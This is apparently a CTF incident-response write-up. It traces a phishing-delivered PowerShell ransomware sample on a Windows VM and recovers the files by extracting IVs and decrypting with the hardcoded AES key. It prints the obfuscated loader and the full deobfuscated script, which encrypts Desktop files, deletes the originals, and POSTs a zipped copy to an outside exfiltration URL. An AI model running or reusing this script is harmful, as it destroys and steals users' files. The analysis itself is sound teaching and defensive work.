Introduction
The IR challenges were a series of challenges based around a Windows virtual machine that had downloaded some malware and had encrypted some files. It is our task to discover everything we can about this malware and decrypt the files. Let’s get started!
Setup
To begin with, once the VM has been downloaded it can be extracted using the password in the first challenge (3766572f638355c5028b60ca641b6f0d
). This leaves us with an .ova file that we can import into VirtualBox. I personally have VirtualBox and VMWare installed so I just let VirtualBox handle this. I did see in Discord that people were having issues using VMWare but your milage may vary.
One very important note here is when importing the VM you pretty much need to give it more CPU resources. Windows is an absolute hog and it will start updating itself on boot. If it only has one CPU the VM will become pretty much useless until it is done. I found that out the hard way when I reimported the VM and forgot to change it the second time…
I have a beefy PC so I upped the CPUs to 8 and gave it 8 gigs of memory. Almost certainly overkill but it wont hurt. The only other thing we need to know is the account password which is in the VM description. In this case it’s Passw0rd!
.
IR #1
Author: @awesome10billion#1164 (CTFd)
Can you find the hidden file on this VM?
This group of challenges uses the same single file download for each challenges. This is a very large file download (13GB) and will take some time to download.
The password to this archive is:
3766572f638355c5028b60ca641b6f0d
The first challenge is to find a hidden file. I didn’t know exactly what I was looking for so I headed off to PowerShell to, well, find hidden files. We can use Get-ChildItem -Recurse -hidden -ErrorAction 'SilentlyContinue'
to search recursively for hidden files while ignoring any errors. This spits out quite a bit of data, even in the base directory of C:\Users\IEUser
, but if we scroll up a little bit we see something interesting.
We can move into the directory with cd .\Documents\hidden\directory\
, list the files with ls -hidden
, and finally print it with cat '.\Ransom note.txt'
.
Flag #1 acquired.
IR #2
Author: @awesome10billion#1164 (CTFd)
Can you figure out how the malware got onto the system?
I thought that this was going to be much more difficult than it was. I started looking though event viewer logs and did not find anything obvious. I thought about this for a few seconds and asked myself the question of how malware normally ends up on a system. Either it gets downloaded from the internet or sent in an email. If you happened to be paying attention the machine actually points you to email with a notification saying that your Outlook account settings are out of date.
I actually missed this and just happened to click on the mail client to check it. Either way, clicking on the notification or clicking on the mail client brings us where we need to be.
And there we have it. The email with the malware, and flag #2 acquired.
IR #3
Author: @awesome10billion#1164 (CTFd)
Can you reverse the malware?
I actually started this off pretty frustrated. I figured I would download the attachment and take a look at it but it turns out (as far as I can tell) you cannot do that. After trying to figure out how to get around this I remembered someone already ran this malware so it must be on the machine somewhere. A quick search finds it in the obvious place of the downloads folder.
Opening this file in notepad is quite an eyesore.
So we have some obfuscated PowerShell. I had actually seen this before in another CTF and been stumped but have since done research on reversing this sort of thing. Having watched a few John Hammond videos on reversing malware I know that typically the last thing something like this does is pipe to IEX to execute itself. Sure enough if we look at the end of the file we have |&${;};
which looks suspicious to me.
Deobfuscation part #1
Time to move out of notepad and into PowerShell ISE which can be done by right clicking on updates.ps1 and selecting edit. This program allows us to modify and run the PS1 file and see what the output is.
The updates.ps1 file is all on one line, so we must scroll to the end and chop off the last pipe and everything that comes after. If we then click the run button or press F5 (and hit ok) we get a screen full of information. Funnily enough the end of the output is piping this to IEX, so I’m assuming that this is a function, and the thing we chopped off called this function. Without taking off that piece the code would run without any output.
Now we are left with a ton of numbers (the numbers mason, what do they mean!?!) that we need to sort out. If you are unsure what these are, a quick Google will tell you that these are the decimal values of characters. I opted to bring this whole thing into CyberChef to massage it to my liking. First we can clean up the extra bits that aren’t needed (the begining PowerShell line, |iex
at the end of the file for example) then use the ‘Remove whitespace’ recipe to make this all one line since the copy paste I did left some not so good breaks. Next we can use the ‘Find / Replace’ recipe to change +[char]
into a space, making sure to use simple string rather than regex and also making it case insensitive. Note that we need to manually remove the first [CHar]
since there is no + before it. Finally we can use the ‘From Decimal’ recipe to get some results.
At this point I brought the output into PowerShell to try to identify it. I started by using a find / replace with regular expressions to replace semicolons with ;\n
to break up the sections into new lines. I ended up with 16 lines, however it looks like the code is duplicated for some reason. After some quick checking using find I found that that was true, so I removed everything after line 8. This was the result which is not too terrifying.
$9HvtMFbC2RGJX6YOASjNeBx = "=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" ;
$OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray() ;
[array]::Reverse($OaET) ;
-join $OaET 2>&1> $null ;
$biPIv9ahScgYwGXl0FyV = [SySteM.tExt.EnCOding]::uTf8.GetStRIng([SySTEm.COnVerT]::FrombASe64StRINg("$OaET")) ;
$ehyGknDcqxFwCYJz5vfot4T8 = "iN"+"vo"+"Ke"+"-e"+"xP"+"RE"+"ss"+"Io"+"n" ;
neW-aLIAs -NAme PwN -VAlUE $ehyGknDcqxFwCYJz5vfot4T8 -forCE ;
pWN $biPIv9ahScgYwGXl0FyV ;
Deobfuscation part #2
From this point I tried to clean up what I could although it really isn’t necessary. Realistically we need to figure out what that giant blob is.
The first obvious thing to me was that the line $ehyGknDcqxFwCYJz5vfot4T8 = "iN"+"vo"+"Ke"+"-e"+"xP"+"RE"+"ss"+"Io"+"n" ;
was just a fancy way of using using Invoke-Expression so we can eliminate that line and substitute that variable with the word. There isn’t much more to do other than follow the logic. We can see mentions of base64 however trying to base64 decode this blob does not work. The first hint is that base64 does not start with an equal sign, it usually ends with it. The second hint is if we actually follow the logic we see that the $OaET
variable takes this blob and converts it into a character array, then the array is reversed. This is a fancy way of saying that this blob is base64 encoded text, but it is backwards. Off to CyberChef again to use the ‘Reverse’ and ‘From Base64’ recipes. Let’s replace the blob with this new code to keep the integrity. We end up with the following:
$9HvtMFbC2RGJX6YOASjNeBx = "function encryptFiles{
Param(
[Parameter(Mandatory=${true}, position=0)]
[string] $baseDirectory
)
foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){
if ($File.extension -ne ".enc"){
$DestinationFile = $File.FullName + ".enc"
$FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
$FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)
$cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
$cipher.key = [System.Text.Encoding]::UTF8.GetBytes("7h3_k3y_70_unl0ck_4ll_7h3_f1l35!")
$cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$cipher.GenerateIV()
$FileStreamWriter.Write([System.BitConverter]::GetBytes($cipher.IV.Length), 0, 4)
$FileStreamWriter.Write($cipher.IV, 0, $cipher.IV.Length)
$Transform = $cipher.CreateEncryptor()
$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
$FileStreamReader.CopyTo($CryptoStream)
$CryptoStream.FlushFinalBlock()
$CryptoStream.Close()
$FileStreamReader.Close()
$FileStreamWriter.Close()
Remove-Item -LiteralPath $File.FullName
}
}
}
$flag = "flag{892a8921517dcecf90685d478aedf5e2}"
$ErrorActionPreference= 'silentlycontinue'
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split("\")[-1]
encryptFiles("C:\Users\"+$user+"\Desktop")
Add-Type -assembly "system.io.compression.filesystem"
[io.compression.zipfile]::CreateFromDirectory("C:\Users\"+$user+"\Desktop", "C:\Users\"+$user+"\Downloads\Desktop.zip")
$zipFileBytes = Get-Content -Path ("C:\Users\"+$user+"\Downloads\Desktop.zip") -Raw -Encoding Byte
$zipFileData = [Convert]::ToBase64String($zipFileBytes)
$body = ConvertTo-Json -InputObject @{file=$zipFileData}
Invoke-Webrequest -Method Post -Uri "https://www.thepowershellhacker.com/exfiltration" -Body $body
Remove-Item -LiteralPath ("C:\Users\"+$user+"\Downloads\Desktop.zip")" ;
$OaET = $9HvtMFbC2RGJX6YOASjNeBx.ToCharArray() ;
[array]::Reverse($OaET) ;
-join $OaET 2>&1> $null ;
$biPIv9ahScgYwGXl0FyV = [SySteM.tExt.EnCOding]::uTf8.GetStRIng([SySTEm.COnVerT]::FrombASe64StRINg("$OaET")) ;
neW-aLIAs -NAme PwN -VAlUE Invoke-Expression -forCE ;
pWN $biPIv9ahScgYwGXl0FyV ;
We now have a $flag
variable with the flag for IR #3.
IR #4
Author: @awesome10billion#1164 (CTFd)
Where is the data being exfiltrated? Please give the MD5 hash of the URL with the usual wrapper of flag{}.
If you were able to reverse the malware this was pretty much a freebee. We can see that second to last line is Invoke-Webrequest -Method Post -Uri "https://www.thepowershellhacker.com/exfiltration" -Body $body
, and this is where the malware is being sent. To get the flag we only need to copy this URL, then generate an MD5 hash. We can do this with echo -n 'https://www.thepowershellhacker.com/exfiltration' | md5sum
and we get the hash of 32c53185c3448169bae4dc894688d564
. Our flag becomes flag{32c53185c3448169bae4dc894688d564}
IR #5
Author: @awesome10billion#1164 (CTFd)
Can you please recover our files?
And here I sat for a while. I’ll admit that I am NOT an PowerShell expert but can generally read code and figure out what it does. I could not figure out how to decrypt these files using PowerShell, but after some trial and error I figured out how to do them manually by hand.
Let’s start with the obvious. The line: $cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
tells us that these files are encrypted using AES encryption. The next line:
$cipher.key = [System.Text.Encoding]::UTF8.GetBytes("7h3_k3y_70_unl0ck_4ll_7h3_f1l35!")
tells us the encryption key is 7h3_k3y_70_unl0ck_4ll_7h3_f1l35!
. Going back to our friend CyberChef there is an ‘AES Decrypt’ recipe however that recipe requires one more thing, the IV. I saw the line $cipher.GenerateIV()
which tells me that the IV is randomly generated so how the heck are we supposed to figure out what it is?
At this point I went back to PowerShell ISE inside of the VM and took the code with me, however I had some further cleanup to do. We can remove $9HvtMFbC2RGJX6YOASjNeBx = "
at the start of this since we are just going to call this function directly. We can actually remove almost everything below the function aside from two lines. The line that calls the function itself: encryptFiles("C:\Users\"+$user+"\Desktop")
, and the line that defines the $user
variable:
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split("\")[-1]
. We certainly don’t need to be sending the files to some website (which as it turns out the domain was not registered… See the writeup by Crunch & Chillz here on how they managed to receive some files people were sending) and we have already done the reversing and decoding. The one other line I removed was Remove-Item -LiteralPath $File.FullName
. When this malware runs it will encrypt the files, then delete the originals. I wanted to keep the original so I could do some testing if need be so no need to remove it. That leaves the following code:
function encryptFiles{
Param(
[Parameter(Mandatory=${true}, position=0)]
[string] $baseDirectory
)
foreach($File in (Get-ChildItem $baseDirectory -Recurse -File)){
if ($File.extension -ne ".enc"){
$DestinationFile = $File.FullName + ".enc"
$FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open)
$FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create)
$cipher = [System.Security.Cryptography.SymmetricAlgorithm]::Create("AES")
$cipher.key = [System.Text.Encoding]::UTF8.GetBytes("7h3_k3y_70_unl0ck_4ll_7h3_f1l35!")
$cipher.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$cipher.GenerateIV()
$FileStreamWriter.Write([System.BitConverter]::GetBytes($cipher.IV.Length), 0, 4)
$FileStreamWriter.Write($cipher.IV, 0, $cipher.IV.Length)
$Transform = $cipher.CreateEncryptor()
$CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
$FileStreamReader.CopyTo($CryptoStream)
$CryptoStream.FlushFinalBlock()
$CryptoStream.Close()
$FileStreamReader.Close()
$FileStreamWriter.Close()
}
}
}
$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name.Split("\")[-1]
encryptFiles("C:\Users\"+$user+"\Desktop")
Playing with PowerShell
Running this code in PowerShell ISE does not give us any errors, but it also doesn’t give us any output. If we create a test.txt file on the desktop with the contents ‘test’ and run the code we do see that a file ‘test.txt.enc’ is created, and the contents are encrypted so it is working as expected.
At this point I wanted to try to figure out exactly what everything was doing. I find it helpful to print out the variables just to make sure I understand what is going on. In PowerShell we can do this with a Write-Output
line. I started putting these in places to see what my output would be. One helpful one was Write-Output $cipher
This confirms what we expected about the encryption. We could do something like Write-Output $cipher.key
to see the full key in decimal, but ‘55’ and ‘107’ are ‘7’ and ‘h’ respectively so they match the start of the known key ‘7h3_k3y_70_unl0ck_4ll_7h3_f1l35!’. The other helpful thing for me here was confirming that each time I ran it the IV changed. I knew that there had to be a way to decrypt the files so the IV had to be somewhere. Eventually I put two and two together and realized that the two lines I had been unsure of must have been writing the IV into the file, those two lines being:
$FileStreamWriter.Write([System.BitConverter]::GetBytes($cipher.IV.Length), 0, 4)
$FileStreamWriter.Write($cipher.IV, 0, $cipher.IV.Length)
Note that I did look into some documentation and saw that it is possible to use CreateDecryptor() to decrypt these files but I was unsure of how to read back the IV to do this in an automated process. Again I’m not claiming to be good at PowerShell ;)
Finding the IV with xxd
Since I now had a file that I knew the contents of and therefore knew what it would look like decrypted I wanted to see if I could find the IV using xxd. I copied the encrypted ‘test.txt.enc’ file over to my kali machine and took a look at it.
This was a super small file so if the IV was here it shouldn’t be hard to spot. I wasn’t sure if the start ‘1000 0000’ was some sort of padding or not so I pulled over another of the encrypted files and found that it also started with ‘1000 0000’. Knowing that the key was randomly generated told me that this was likely going to be in every file so I ignored it. I now made an assumption that the IV was the first thing being written to the file after the ‘1000 0000’ based on the fact that those two lines were happening before anything else. I don’t know why I was so resistant to try to look up what $FileStreamWriter.Write()
does but here we are. Regardless I was pretty sure that the $FileStreamWriter.Write($cipher.IV,
part was writing the IV to the file.
CyberChef tells us it wants 16 bytes for the IV. We can use xxd to carve out exactly what we are looking for with xxd -s +4 -l 16 -p test.txt.enc
. This tells xxd to skip the first four bytes, then print out the next 16 bytes. The -p
flag tells it to print only the plain hexdump.
So now we should have what we need to decrypt this file. Back over in CyberChef we can use the ‘AES Decrypt’ recipe. The key is 7h3_k3y_70_unl0ck_4ll_7h3_f1l35!
set to UTF8. The IV is what we just pulled out of the file, 38531ce1b1bdaeb7cad4053fd669473b
, as hex. Looking back to when we ran Write-Output $cipher
we know that the mode should be CBC. Now is the only slightly tricky part. If we import this test file the decryption fails. This is because we only want to decrypt the data. The first 20 bytes of the file containing ‘1000 0000’ and the IV do not need to be here. What I ended up doing was dumping the file with xxd again, this time using xxd -s +20 -p test.txt.enc
to strip off the beginning of the file. If we paste this hex (1158728308a44063efa87f509312b9ca) into CyberChef and set the input mode to hex we finally get a result!
Finally a flag
Now that I had the method I could do this for each file. I started with the notes.txt file as I thought that this must surely be the flag, but nope.
All data was generated using ChatGPT and the mockaroo website.
Hope that you enjoyed this IR scenario CTF challenges.
Now go find the flag in one of the files
The search continues. I started going through each file, pulling out the IV, then dumping the appropriate data to hex and putting it into CyberChef. Since the majority of these were Office documents I started this process on my host machine which has Office installed. Once CyberChef had done it’s work it offers a ‘save output to file’ button where I could save the files exactly as they had once been. My process then became opening each file, doing a ctrl+f and typing flag, manually reviewing each file for something out of the ordinary, then pulling the file onto my kali machine to run the file through strings and cat to see if anything turned up. I had no idea how the flag would present itself and I didn’t want to miss it.
Eventually we come to the ‘NexGen Innovations.docx’. I was happy to find that when I did a search for flag it turned up, albeit super tiny in a footer. The search function showed it clearly enough though and my hunt was finally over.
Conclusion
Perhaps once I get done with these write-ups I’ll figure out how to decrpyt these via PowerShell. This whole series was super fun. Big shout out to @awesome10billion#1164 !!!
Post write-up update
The downside of not doing these write-ups while I’m in the middle of the challenge is that I don’t often remember what was going through my mind. Only now after I have finished this write-up did I remember that I actually used Write-Output $cipher.IV
when testing with my test file. This gave me an encrypted file and the full IV which I could easily spot with xxd. There was much less guesswork than I might have alluded to.